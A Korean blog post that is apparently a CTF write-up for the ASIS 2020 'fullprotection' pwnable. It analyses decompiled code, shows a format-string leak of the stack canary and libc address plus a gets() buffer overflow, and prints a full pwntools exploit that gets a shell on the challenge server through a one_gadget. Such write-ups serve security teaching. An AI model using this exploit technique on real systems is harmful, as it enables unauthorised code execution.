SDJ( 수돈재 아님 ㅎ )

ASISctf 2020 Quals - fullprotection 본문

write-up/pwnable

ASISctf 2020 Quals - fullprotection

ShinDongJun 2020. 7. 6. 12:50

보호기법은 그린벨트를 이루고 있다

 

바이너리를 분석해보자.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[64]; // [rsp+0h] [rbp-58h]
  unsigned __int64 v5; // [rsp+48h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  *v4 = 0LL;
  *&v4[16] = 0LL;
  *&v4[32] = 0LL;
  *&v4[48] = 0LL;
  while ( readline(v4, 0x40) )
  {
    __printf_chk(1LL, v4);
    _IO_putc(0xA, _bss_start);
  }
  return 0;
}

간단하게 main에서 readline(v4, 0x40)을 호출하고 리턴값이 True일 경우 v4를 출력하고 _IO_putc를 통해 개행을 해주는 것 같다. True일 경우 계속해서 입력을 할 수 있다.

 

헌데 __printf_chk함수에서 v4에 우리가 입력한 format이 들어가기 때문에 FSB가 발생한다.

 

그럼 readline()함수를 보자

size_t __fastcall readline(char *s, int a2)
{
  size_t result; // rax

  gets();
  result = strlen(s);
  if ( result >= a2 )
  {
    puts("[FATAL] Buffer Overflow");
    _exit(1);
  }
  return result;
}

처음 그냥 gets()를 호출하는 것을 볼 수 있는데 

 

gets()는

SYNOPSIS
       #include <stdio.h>

       char *gets(char *s);

 

처럼 사용을 하게 된다.

즉 $rdi에 들어있는 값을 인자로 사용하게 되는데 이것은 현재 s기 때문에 gets(s)와 같다는 것을 의미한다.

 

근데 Canary가 있기 때문에 바로 BOF 트리거를 할 수는 없고 위에서 말한 FSB를 가지고 canary를 leak하고나서 가져와야할 것 같다.

 

FORTIFY 보호기법 때문에 그런건지는 모르겠으나 "%N$"형태의 입력을 할 경우에는 *** invalid %N$ use detected ***를 뿜으면서 Abort로 프로그램을 조져버린다

 

따라서

1. FSB로 canary, libc leak

2. BOF로 exploit

을 해주면 되겠다.

 

exploit code

 

서버랑 로컬이랑 출력되는게 달라서 서버 기준으로 짜인 코드

 

from pwn import *

server = 1
if server:
	p = remote("69.172.229.147", 9002)
else:
	p = process("./chall", env={"LD_PROLOAD":"./libc-2.27.so"})

one = [0x4f2c5, 0x4f322, 0x10a38c]

pay = ''
pay += '%p'*(0x40//2-1)
p.sendline(pay)

tmp = p.recvuntil("\n")
tmp = tmp.replace("0x", "--")

for i in range(12):
	idx = tmp.find("--")
	tmp = tmp[idx+2:]


canary = int(tmp[:tmp.find("(nil)")], 16)
print "canary : " + hex(canary)

idx = tmp.find("--")
tmp = tmp[idx+2:]
libc_leak = int(tmp[:tmp.find("--")], 16)
print "libc_leak : " + hex(libc_leak)
libc_base = libc_leak - 0x21b97
print "libc_base : " + hex(libc_base)
one_gadget = libc_base + one[1]

pay = ''
pay += 'a\x00'
pay += 'a'*(0x48-len(pay))
pay += p64(canary)
pay += 'X'*8
pay += p64(one_gadget)
p.sendline(pay)

sleep(0.05)
p.sendline("\x00")

p.interactive()

 

 

 

FLAG : ASIS{s3cur1ty_pr0t3ct10n_1s_n07_s1lv3r_bull3t}

'write-up > pwnable' 카테고리의 다른 글

ASISctf 2020 Quals - invisible  (0) 2020.07.07
ASISctf 2020 Quals - babynote  (0) 2020.07.06
HSCTF 2020 - got it  (0) 2020.06.09
HSCTF 2020 - studysim  (0) 2020.06.09
Defenit 2020 - errorprogram  (0) 2020.06.09
Comments